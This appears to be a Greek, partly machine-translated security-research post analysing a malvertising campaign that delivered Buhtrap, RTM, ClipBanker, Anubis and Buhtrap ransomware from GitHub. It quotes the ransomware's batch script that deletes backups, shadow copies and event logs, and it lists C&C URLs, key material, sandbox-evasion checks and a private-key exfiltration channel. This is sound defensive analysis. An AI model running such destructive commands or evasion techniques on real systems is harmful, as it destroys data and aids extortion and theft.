Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct

Για να στοχεύσετε λογιστές σε μια κυβερνοεπίθεση, μπορείτε να χρησιμοποιήσετε έγγραφα εργασίας που αναζητούν στο διαδίκτυο. Αυτό περίπου κάνει μια ομάδα στον κυβερνοχώρο τους τελευταίους μήνες, διανέμοντας γνωστές κερκόπορτες. Buhtrap и RTM, καθώς και κρυπτογραφητές και λογισμικό για την κλοπή κρυπτονομισμάτων. Οι περισσότεροι στόχοι βρίσκονται στη Ρωσία. Η επίθεση πραγματοποιήθηκε με την τοποθέτηση κακόβουλης διαφήμισης στο Yandex.Direct. Τα πιθανά θύματα κατευθύνθηκαν σε έναν ιστότοπο όπου τους ζητήθηκε να κατεβάσουν ένα κακόβουλο αρχείο μεταμφιεσμένο ως πρότυπο εγγράφου. Η Yandex αφαίρεσε την κακόβουλη διαφήμιση μετά την προειδοποίησή μας.

Ο πηγαίος κώδικας του Buhtrap έχει διαρρεύσει στο διαδίκτυο στο παρελθόν, ώστε ο καθένας να μπορεί να τον χρησιμοποιήσει. Δεν έχουμε πληροφορίες σχετικά με τη διαθεσιμότητα του κωδικού RTM.

Σε αυτήν την ανάρτηση θα σας πούμε πώς οι εισβολείς διένειμαν κακόβουλο λογισμικό χρησιμοποιώντας το Yandex.Direct και το φιλοξένησαν στο GitHub. Η ανάρτηση θα ολοκληρωθεί με μια τεχνική ανάλυση του κακόβουλου λογισμικού.

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct

Οι Buhtrap και RTM επιστρέφουν στη δουλειά

Μηχανισμός εξάπλωσης και θύματα

Τα διάφορα ωφέλιμα φορτία που παραδίδονται στα θύματα μοιράζονται έναν κοινό μηχανισμό διάδοσης. Όλα τα κακόβουλα αρχεία που δημιουργήθηκαν από τους εισβολείς τοποθετήθηκαν σε δύο διαφορετικά αποθετήρια GitHub.

Συνήθως, το αποθετήριο περιείχε ένα κακόβουλο αρχείο με δυνατότητα λήψης, το οποίο άλλαζε συχνά. Εφόσον το GitHub σάς επιτρέπει να βλέπετε το ιστορικό των αλλαγών σε ένα αποθετήριο, μπορούμε να δούμε ποιο κακόβουλο λογισμικό διανεμήθηκε κατά τη διάρκεια μιας συγκεκριμένης περιόδου. Για να πειστεί το θύμα να κατεβάσει το κακόβουλο αρχείο, χρησιμοποιήθηκε ο ιστότοπος blanki-shabloni24[.]ru, που φαίνεται στο παραπάνω σχήμα.

Ο σχεδιασμός του ιστότοπου και όλα τα ονόματα των κακόβουλων αρχείων ακολουθούν μια ενιαία ιδέα - φόρμες, πρότυπα, συμβόλαια, δείγματα κ.λπ. Λαμβάνοντας υπόψη ότι το λογισμικό Buhtrap και RTM έχουν ήδη χρησιμοποιηθεί σε επιθέσεις σε λογιστές στο παρελθόν, υποθέσαμε ότι η η στρατηγική στη νέα καμπάνια είναι η ίδια. Το μόνο ερώτημα είναι πώς το θύμα έφτασε στον ιστότοπο των επιτιθέμενων.

Λοίμωξη

Τουλάχιστον πολλά πιθανά θύματα που κατέληξαν σε αυτόν τον ιστότοπο προσελκύθηκαν από κακόβουλες διαφημίσεις. Παρακάτω είναι ένα παράδειγμα URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Όπως μπορείτε να δείτε από τον σύνδεσμο, το banner αναρτήθηκε στο νόμιμο φόρουμ λογιστικής bb.f2[.]kz. Είναι σημαντικό να σημειωθεί ότι τα banner εμφανίστηκαν σε διαφορετικούς ιστότοπους, όλα είχαν το ίδιο αναγνωριστικό καμπάνιας (blanki_rsya) και τα περισσότερα αφορούσαν λογιστικές υπηρεσίες ή υπηρεσίες νομικής βοήθειας. Η διεύθυνση URL δείχνει ότι το πιθανό θύμα χρησιμοποίησε το αίτημα "λήψη φόρμας τιμολογίου", το οποίο υποστηρίζει την υπόθεσή μας για στοχευμένες επιθέσεις. Παρακάτω είναι οι ιστότοποι όπου εμφανίστηκαν τα banner και τα αντίστοιχα ερωτήματα αναζήτησης.

  • λήψη της φόρμας τιμολογίου – bb.f2[.]kz
  • δείγμα συμβολαίου - Ipopen[.]ru
  • δείγμα καταγγελίας αίτησης - 77metrov[.]ru
  • έντυπο συμφωνίας - blank-dogovor-kupli-prodazhi[.]ru
  • δείγμα δικαστικής αναφοράς - zen.yandex[.]ru
  • δείγμα καταγγελίας - yurday[.]ru
  • δείγματα εντύπων συμβάσεων – Regforum[.]ru
  • έντυπο σύμβασης – assistentus[.]ru
  • δείγμα συμφωνίας διαμερίσματος – napravah[.]com
  • δείγματα νομικών συμβάσεων - avito[.]ru

Ο ιστότοπος blanki-shabloni24[.]ru μπορεί να έχει διαμορφωθεί για να περνάει μια απλή οπτική αξιολόγηση. Συνήθως, μια διαφήμιση που οδηγεί σε έναν ιστότοπο με επαγγελματική εμφάνιση με σύνδεσμο στο GitHub δεν φαίνεται σαν κάτι προφανώς κακό. Επιπλέον, οι εισβολείς ανέβασαν κακόβουλα αρχεία στο αποθετήριο μόνο για περιορισμένο χρονικό διάστημα, πιθανότατα κατά τη διάρκεια της καμπάνιας. Τις περισσότερες φορές, το αποθετήριο GitHub περιείχε ένα κενό αρχείο zip ή ένα κενό αρχείο EXE. Έτσι, οι εισβολείς μπορούσαν να διανέμουν διαφημίσεις μέσω του Yandex.Direct σε ιστότοπους που πιθανότατα επισκέφτηκαν λογιστές που ήρθαν ως απάντηση σε συγκεκριμένα ερωτήματα αναζήτησης.

Στη συνέχεια, ας δούμε τα διάφορα ωφέλιμα φορτία που κατανέμονται με αυτόν τον τρόπο.

Ανάλυση ωφέλιμου φορτίου

Χρονολόγιο διανομής

Η κακόβουλη εκστρατεία ξεκίνησε στα τέλη Οκτωβρίου 2018 και είναι ενεργή τη στιγμή της σύνταξης. Δεδομένου ότι ολόκληρο το αποθετήριο ήταν δημόσια διαθέσιμο στο GitHub, συγκεντρώσαμε ένα ακριβές χρονοδιάγραμμα της διανομής έξι διαφορετικών οικογενειών κακόβουλου λογισμικού (δείτε την εικόνα παρακάτω). Προσθέσαμε μια γραμμή που δείχνει πότε ανακαλύφθηκε ο σύνδεσμος banner, όπως μετρήθηκε από την τηλεμετρία ESET, για σύγκριση με το ιστορικό git. Όπως μπορείτε να δείτε, αυτό συσχετίζεται καλά με τη διαθεσιμότητα του ωφέλιμου φορτίου στο GitHub. Η ασυμφωνία στα τέλη Φεβρουαρίου μπορεί να εξηγηθεί από το γεγονός ότι δεν είχαμε μέρος του ιστορικού αλλαγών επειδή το αποθετήριο αφαιρέθηκε από το GitHub προτού μπορέσουμε να το λάβουμε πλήρως.

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct
Εικόνα 1. Χρονολογία διανομής κακόβουλου λογισμικού.

Πιστοποιητικά υπογραφής κώδικα

Η καμπάνια χρησιμοποίησε πολλά πιστοποιητικά. Ορισμένα ήταν υπογεγραμμένα από περισσότερες από μία οικογένειες κακόβουλων προγραμμάτων, γεγονός που υποδεικνύει περαιτέρω ότι διαφορετικά δείγματα ανήκαν στην ίδια καμπάνια. Παρά τη διαθεσιμότητα του ιδιωτικού κλειδιού, οι χειριστές δεν υπέγραφαν συστηματικά τα δυαδικά αρχεία και δεν χρησιμοποιούσαν το κλειδί για όλα τα δείγματα. Στα τέλη Φεβρουαρίου 2019, οι εισβολείς άρχισαν να δημιουργούν μη έγκυρες υπογραφές χρησιμοποιώντας ένα πιστοποιητικό που ανήκει στην Google για το οποίο δεν είχαν το ιδιωτικό κλειδί.

Όλα τα πιστοποιητικά που εμπλέκονται στην καμπάνια και οι οικογένειες κακόβουλου λογισμικού που υπογράφουν παρατίθενται στον παρακάτω πίνακα.

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct

Χρησιμοποιήσαμε επίσης αυτά τα πιστοποιητικά υπογραφής κώδικα για να δημιουργήσουμε συνδέσμους με άλλες οικογένειες κακόβουλου λογισμικού. Για τα περισσότερα πιστοποιητικά, δεν βρήκαμε δείγματα που δεν διανεμήθηκαν μέσω αποθετηρίου GitHub. Ωστόσο, το πιστοποιητικό TOV «MARIYA» χρησιμοποιήθηκε για την υπογραφή κακόβουλου λογισμικού που ανήκει στο botnet Wauchos, adware και miners. Είναι απίθανο αυτό το κακόβουλο λογισμικό να σχετίζεται με αυτήν την καμπάνια. Πιθανότατα, το πιστοποιητικό αγοράστηκε στο darknet.

Win32/Filecoder.Buhtrap

Το πρώτο στοιχείο που τράβηξε την προσοχή μας ήταν το Win32/Filecoder.Buhtrap που ανακαλύφθηκε πρόσφατα. Αυτό είναι ένα δυαδικό αρχείο Delphi που μερικές φορές συσκευάζεται. Διανεμήθηκε κυρίως τον Φεβρουάριο-Μάρτιο 2019. Συμπεριφέρεται όπως αρμόζει σε ένα πρόγραμμα ransomware - αναζητά τοπικές μονάδες δίσκου και φακέλους δικτύου και κρυπτογραφεί τα αρχεία που έχουν εντοπιστεί. Δεν χρειάζεται σύνδεση στο Διαδίκτυο για να παραβιαστεί επειδή δεν επικοινωνεί με τον διακομιστή για να στείλει κλειδιά κρυπτογράφησης. Αντίθετα, προσθέτει ένα «κουπόνι» στο τέλος του μηνύματος λύτρων και προτείνει τη χρήση email ή Bitmessage για να επικοινωνήσετε με τους χειριστές.

Για να κρυπτογραφήσει όσο το δυνατόν περισσότερους ευαίσθητους πόρους, το Filecoder.Buhtrap εκτελεί ένα νήμα σχεδιασμένο για να τερματίζει το βασικό λογισμικό που μπορεί να έχει ανοιχτούς χειριστές αρχείων που περιέχουν πολύτιμες πληροφορίες που θα μπορούσαν να επηρεάσουν την κρυπτογράφηση. Οι διαδικασίες-στόχοι είναι κυρίως συστήματα διαχείρισης βάσεων δεδομένων (DBMS). Επιπλέον, το Filecoder.Buhtrap διαγράφει αρχεία καταγραφής και αντίγραφα ασφαλείας για να κάνει δύσκολη την ανάκτηση δεδομένων. Για να το κάνετε αυτό, εκτελέστε το σενάριο δέσμης παρακάτω.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Το Filecoder.Buhtrap χρησιμοποιεί μια νόμιμη διαδικτυακή υπηρεσία IP Logger που έχει σχεδιαστεί για τη συλλογή πληροφοριών σχετικά με τους επισκέπτες του ιστότοπου. Αυτό προορίζεται για την παρακολούθηση των θυμάτων του ransomware, το οποίο είναι ευθύνη της γραμμής εντολών:

mshta.exe "javascript:document.write('');"

Τα αρχεία για κρυπτογράφηση επιλέγονται εάν δεν ταιριάζουν με τρεις λίστες εξαιρέσεων. Πρώτον, τα αρχεία με τις ακόλουθες επεκτάσεις δεν είναι κρυπτογραφημένα: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys και .νυχτερίδα. Δεύτερον, όλα τα αρχεία για τα οποία η πλήρης διαδρομή περιέχει συμβολοσειρές καταλόγου από την παρακάτω λίστα εξαιρούνται.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

Τρίτον, ορισμένα ονόματα αρχείων εξαιρούνται επίσης από την κρυπτογράφηση, μεταξύ των οποίων το όνομα αρχείου του μηνύματος λύτρων. Η λίστα παρουσιάζεται παρακάτω. Προφανώς, όλες αυτές οι εξαιρέσεις αποσκοπούν στη διατήρηση της λειτουργίας του μηχανήματος, αλλά με ελάχιστο τεχνικό έλεγχο.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Σχέδιο κρυπτογράφησης αρχείων

Μόλις εκτελεστεί, το κακόβουλο λογισμικό δημιουργεί ένα ζεύγος κλειδιών RSA 512-bit. Στη συνέχεια, ο ιδιωτικός εκθέτης (d) και ο συντελεστής (n) κρυπτογραφούνται με ένα σκληρά κωδικοποιημένο δημόσιο κλειδί 2048-bit (δημόσιος εκθέτης και συντελεστής), συσκευασμένο με zlib και κωδικοποιημένο το base64. Ο κωδικός που είναι υπεύθυνος για αυτό φαίνεται στο Σχήμα 2.

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct
Σχήμα 2. Αποτέλεσμα της αποσυμπίλησης Hex-Rays της διαδικασίας δημιουργίας ζεύγους κλειδιών RSA 512-bit.

Παρακάτω είναι ένα παράδειγμα απλού κειμένου με ένα δημιουργημένο ιδιωτικό κλειδί, το οποίο είναι ένα διακριτικό που συνδέεται με το μήνυμα λύτρων.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

Το δημόσιο κλειδί των εισβολέων δίνεται παρακάτω.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Τα αρχεία κρυπτογραφούνται χρησιμοποιώντας AES-128-CBC με κλειδί 256 bit. Για κάθε κρυπτογραφημένο αρχείο, δημιουργείται ένα νέο κλειδί και ένα νέο διάνυσμα προετοιμασίας. Οι βασικές πληροφορίες προστίθενται στο τέλος του κρυπτογραφημένου αρχείου. Ας εξετάσουμε τη μορφή του κρυπτογραφημένου αρχείου.
Τα κρυπτογραφημένα αρχεία έχουν την ακόλουθη κεφαλίδα:

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct

Τα δεδομένα του αρχείου προέλευσης με την προσθήκη της μαγικής τιμής VEGA κρυπτογραφούνται στα πρώτα 0x5000 byte. Όλες οι πληροφορίες αποκρυπτογράφησης επισυνάπτονται σε ένα αρχείο με την ακόλουθη δομή:

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct

- Ο δείκτης μεγέθους αρχείου περιέχει ένα σημάδι που υποδεικνύει εάν το μέγεθος του αρχείου είναι μεγαλύτερο από 0x5000 byte
— Κλειδί κλειδιού AES = ZlibCompress (RSAEncrypt (κλειδί AES + IV, δημόσιο κλειδί του δημιουργημένου ζεύγους κλειδιών RSA))
- RSA key blob = ZlibCompress (RSAEncrypt (δημιουργήθηκε ιδιωτικό κλειδί RSA, δημόσιο κλειδί RSA με σκληρό κώδικα))

Win32/ClipBanker

Το Win32/ClipBanker είναι ένα στοιχείο που διανεμήθηκε κατά διαστήματα από τα τέλη Οκτωβρίου έως τις αρχές Δεκεμβρίου 2018. Ο ρόλος του είναι να παρακολουθεί τα περιεχόμενα του πρόχειρου, αναζητά διευθύνσεις πορτοφολιών κρυπτονομισμάτων. Έχοντας καθορίσει τη διεύθυνση του πορτοφολιού-στόχου, το ClipBanker το αντικαθιστά με μια διεύθυνση που πιστεύεται ότι ανήκει στους χειριστές. Τα δείγματα που εξετάσαμε δεν ήταν ούτε συσκευασμένα ούτε ασαφή. Ο μόνος μηχανισμός που χρησιμοποιείται για την απόκρυψη της συμπεριφοράς είναι η κρυπτογράφηση συμβολοσειρών. Οι διευθύνσεις πορτοφολιού χειριστή κρυπτογραφούνται χρησιμοποιώντας RC4. Τα κρυπτονομίσματα-στόχοι είναι τα Bitcoin, Bitcoin cash, Dogecoin, Ethereum και Ripple.

Κατά τη διάρκεια της περιόδου που το κακόβουλο λογισμικό εξαπλώθηκε στα πορτοφόλια Bitcoin των εισβολέων, ένα μικρό ποσό στάλθηκε στο VTS, γεγονός που θέτει υπό αμφισβήτηση την επιτυχία της καμπάνιας. Επιπλέον, δεν υπάρχουν στοιχεία που να υποδηλώνουν ότι αυτές οι συναλλαγές σχετίζονταν καθόλου με το ClipBanker.

Win32/RTM

Το στοιχείο Win32/RTM διανεμήθηκε για αρκετές ημέρες στις αρχές Μαρτίου 2019. Το RTM είναι ένας Τρωικός τραπεζίτης γραμμένος στους Δελφούς, με στόχο τα απομακρυσμένα τραπεζικά συστήματα. Το 2017, οι ερευνητές της ESET δημοσίευσαν λεπτομερής ανάλυση αυτού του προγράμματος, η περιγραφή εξακολουθεί να είναι σχετική. Τον Ιανουάριο του 2019 κυκλοφόρησε επίσης η Palo Alto Networks ανάρτηση ιστολογίου σχετικά με το RTM.

Buhtrap Loader

Για κάποιο χρονικό διάστημα, ένα πρόγραμμα λήψης ήταν διαθέσιμο στο GitHub που δεν ήταν παρόμοιο με τα προηγούμενα εργαλεία Buhtrap. Γυρίζει προς https://94.100.18[.]67/RSS.php?<some_id> για να πάρετε το επόμενο στάδιο και το φορτώνει απευθείας στη μνήμη. Μπορούμε να διακρίνουμε δύο συμπεριφορές του κώδικα δεύτερου σταδίου. Στην πρώτη διεύθυνση URL, το RSS.php πέρασε απευθείας την κερκόπορτα Buhtrap - αυτή η κερκόπορτα είναι πολύ παρόμοια με αυτή που είναι διαθέσιμη μετά τη διαρροή του πηγαίο κώδικα.

Είναι ενδιαφέρον ότι βλέπουμε πολλές καμπάνιες με την κερκόπορτα Buhtrap, και φέρεται να εκτελούνται από διαφορετικούς χειριστές. Σε αυτήν την περίπτωση, η κύρια διαφορά είναι ότι η κερκόπορτα φορτώνεται απευθείας στη μνήμη και δεν χρησιμοποιεί το συνηθισμένο σχήμα με τη διαδικασία ανάπτυξης DLL για την οποία μιλήσαμε πριν. Επιπλέον, οι χειριστές άλλαξαν το κλειδί RC4 που χρησιμοποιείται για την κρυπτογράφηση της κυκλοφορίας δικτύου στον διακομιστή C&C. Στις περισσότερες από τις καμπάνιες που έχουμε δει, οι χειριστές δεν μπήκαν στον κόπο να αλλάξουν αυτό το κλειδί.

Η δεύτερη, πιο περίπλοκη συμπεριφορά ήταν ότι η διεύθυνση URL RSS.php μεταβιβάστηκε σε άλλο πρόγραμμα φόρτωσης. Εφάρμοσε κάποια σύγχυση, όπως η ανακατασκευή του πίνακα δυναμικής εισαγωγής. Ο σκοπός του bootloader είναι να επικοινωνήσει με τον διακομιστή C&C msiofficeupd[.]com/api/F27F84EDA4D13B15/2, στείλτε τα αρχεία καταγραφής και περιμένετε απάντηση. Επεξεργάζεται την απόκριση ως blob, τη φορτώνει στη μνήμη και την εκτελεί. Το ωφέλιμο φορτίο που είδαμε κατά την εκτέλεση αυτού του φορτωτή ήταν το ίδιο backdoor Buhtrap, αλλά μπορεί να υπάρχουν άλλα στοιχεία.

Android/Spy.Banker

Είναι ενδιαφέρον ότι ένα στοιχείο για Android βρέθηκε επίσης στο αποθετήριο GitHub. Ήταν στο κεντρικό κατάστημα μόνο για μία ημέρα - 1 Νοεμβρίου 2018. Εκτός από τη δημοσίευση στο GitHub, η τηλεμετρία της ESET δεν βρίσκει στοιχεία για τη διανομή αυτού του κακόβουλου λογισμικού.

Το στοιχείο φιλοξενήθηκε ως πακέτο εφαρμογών Android (APK). Είναι πολύ μπερδεμένο. Η κακόβουλη συμπεριφορά είναι κρυμμένη σε ένα κρυπτογραφημένο JAR που βρίσκεται στο APK. Είναι κρυπτογραφημένο με RC4 χρησιμοποιώντας αυτό το κλειδί:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

Το ίδιο κλειδί και ο ίδιος αλγόριθμος χρησιμοποιούνται για την κρυπτογράφηση συμβολοσειρών. Το JAR βρίσκεται στο APK_ROOT + image/files. Τα πρώτα 4 byte του αρχείου περιέχουν το μήκος του κρυπτογραφημένου JAR, το οποίο ξεκινά αμέσως μετά το πεδίο μήκους.

Έχοντας αποκρυπτογραφήσει το αρχείο, ανακαλύψαμε ότι ήταν ο Anubis - παλαιότερα τεκμηριωμένη τραπεζίτης για το android. Το κακόβουλο λογισμικό έχει τα ακόλουθα χαρακτηριστικά:

  • εγγραφή μικροφώνου
  • λήψη στιγμιότυπων οθόνης
  • λήψη συντεταγμένων GPS
  • keylogger
  • κρυπτογράφηση δεδομένων συσκευής και απαίτηση λύτρων
  • spamming

Είναι ενδιαφέρον ότι ο τραπεζίτης χρησιμοποίησε το Twitter ως εφεδρικό κανάλι επικοινωνίας για να αποκτήσει έναν άλλο διακομιστή C&C. Το δείγμα που αναλύσαμε χρησιμοποιούσε τον λογαριασμό @JonesTrader, αλλά τη στιγμή της ανάλυσης ήταν ήδη αποκλεισμένος.

Ο τραπεζίτης περιέχει μια λίστα με στοχευμένες εφαρμογές στη συσκευή Android. Είναι μεγαλύτερη από τη λίστα που ελήφθη στη μελέτη Sophos. Η λίστα περιλαμβάνει πολλές τραπεζικές εφαρμογές, προγράμματα ηλεκτρονικών αγορών όπως το Amazon και το eBay και υπηρεσίες κρυπτονομισμάτων.

MSIL/ClipBanker.IH

Το τελευταίο στοιχείο που διανεμήθηκε ως μέρος αυτής της καμπάνιας ήταν το εκτελέσιμο αρχείο .NET Windows, το οποίο εμφανίστηκε τον Μάρτιο του 2019. Οι περισσότερες από τις εκδόσεις που μελετήθηκαν συσκευάστηκαν με ConfuserEx v1.0.0. Όπως το ClipBanker, αυτό το στοιχείο χρησιμοποιεί το πρόχειρο. Στόχος του είναι μια μεγάλη γκάμα κρυπτονομισμάτων, καθώς και προσφορές στο Steam. Επιπλέον, χρησιμοποιεί την υπηρεσία IP Logger για να κλέψει το ιδιωτικό κλειδί WIF Bitcoin.

Μηχανισμοί Προστασίας
Εκτός από τα πλεονεκτήματα που παρέχει το ConfuserEx για την πρόληψη του εντοπισμού σφαλμάτων, της απόρριψης και της παραβίασης, το στοιχείο περιλαμβάνει τη δυνατότητα εντοπισμού προϊόντων προστασίας από ιούς και εικονικών μηχανών.

Για να επαληθεύσει ότι εκτελείται σε μια εικονική μηχανή, το κακόβουλο λογισμικό χρησιμοποιεί την ενσωματωμένη γραμμή εντολών WMI των Windows (WMIC) για να ζητήσει πληροφορίες BIOS, συγκεκριμένα:

wmic bios

Στη συνέχεια, το πρόγραμμα αναλύει την έξοδο της εντολής και αναζητά λέξεις-κλειδιά: VBOX, VirtualBox, XEN, qemu, bochs, VM.

Για τον εντοπισμό προϊόντων προστασίας από ιούς, το κακόβουλο λογισμικό στέλνει ένα αίτημα για όργανα διαχείρισης των Windows (WMI) στο Κέντρο ασφαλείας των Windows χρησιμοποιώντας ManagementObjectSearcher API όπως φαίνεται παρακάτω. Μετά την αποκωδικοποίηση από το base64 η κλήση μοιάζει με αυτό:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct
Εικόνα 3. Διαδικασία αναγνώρισης προϊόντων προστασίας από ιούς.

Επιπλέον, το κακόβουλο λογισμικό ελέγχει αν CryptoClipWatcher, ένα εργαλείο για την προστασία από επιθέσεις στο πρόχειρο και, εάν εκτελείται, αναστέλλει όλα τα νήματα σε αυτήν τη διαδικασία, απενεργοποιώντας έτσι την προστασία.

επιμονή

Η έκδοση του κακόβουλου λογισμικού που μελετήσαμε αντιγράφεται %APPDATA%googleupdater.exe και ορίζει το χαρακτηριστικό "κρυφό" για τον κατάλογο google. Μετά αλλάζει την τιμή SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell στο μητρώο των Windows και προσθέτει τη διαδρομή updater.exe. Με αυτόν τον τρόπο, το κακόβουλο λογισμικό θα εκτελείται κάθε φορά που ο χρήστης συνδέεται.

Κακόβουλη συμπεριφορά

Όπως το ClipBanker, το κακόβουλο λογισμικό παρακολουθεί τα περιεχόμενα του προχείρου και αναζητά διευθύνσεις πορτοφολιού κρυπτονομισμάτων και, όταν βρεθεί, το αντικαθιστά με μία από τις διευθύνσεις του χειριστή. Παρακάτω είναι μια λίστα με τις διευθύνσεις προορισμού με βάση αυτό που βρίσκεται στον κώδικα.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

Για κάθε τύπο διεύθυνσης υπάρχει μια αντίστοιχη τυπική έκφραση. Η τιμή STEAM_URL χρησιμοποιείται για να επιτεθεί στο σύστημα Steam, όπως φαίνεται από την τυπική έκφραση που χρησιμοποιείται για τον ορισμό στο buffer:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

Κανάλι διήθησης

Εκτός από την αντικατάσταση διευθύνσεων στο buffer, το κακόβουλο λογισμικό στοχεύει τα ιδιωτικά κλειδιά WIF των πορτοφολιών Bitcoin, Bitcoin Core και Electrum Bitcoin. Το πρόγραμμα χρησιμοποιεί το plogger.org ως κανάλι εξαγωγής για να αποκτήσει το ιδιωτικό κλειδί WIF. Για να γίνει αυτό, οι χειριστές προσθέτουν δεδομένα ιδιωτικού κλειδιού στην κεφαλίδα User-Agent HTTP, όπως φαίνεται παρακάτω.

Το backdoor και ο κρυπτογραφητής Buhtrap διανεμήθηκαν χρησιμοποιώντας το Yandex.Direct
Εικόνα 4. Κονσόλα IP Logger με δεδομένα εξόδου.

Οι χειριστές δεν χρησιμοποίησαν το iplogger.org για την εξαγωγή πορτοφολιών. Μάλλον κατέφυγαν σε διαφορετική μέθοδο λόγω του ορίου των 255 χαρακτήρων στο πεδίο User-Agentεμφανίζεται στη διεπαφή ιστού IP Logger. Στα δείγματα που μελετήσαμε, ο άλλος διακομιστής εξόδου αποθηκεύτηκε στη μεταβλητή περιβάλλοντος DiscordWebHook. Παραδόξως, αυτή η μεταβλητή περιβάλλοντος δεν έχει εκχωρηθεί πουθενά στον κώδικα. Αυτό υποδηλώνει ότι το κακόβουλο λογισμικό είναι ακόμη υπό ανάπτυξη και η μεταβλητή έχει εκχωρηθεί στη μηχανή δοκιμής του χειριστή.

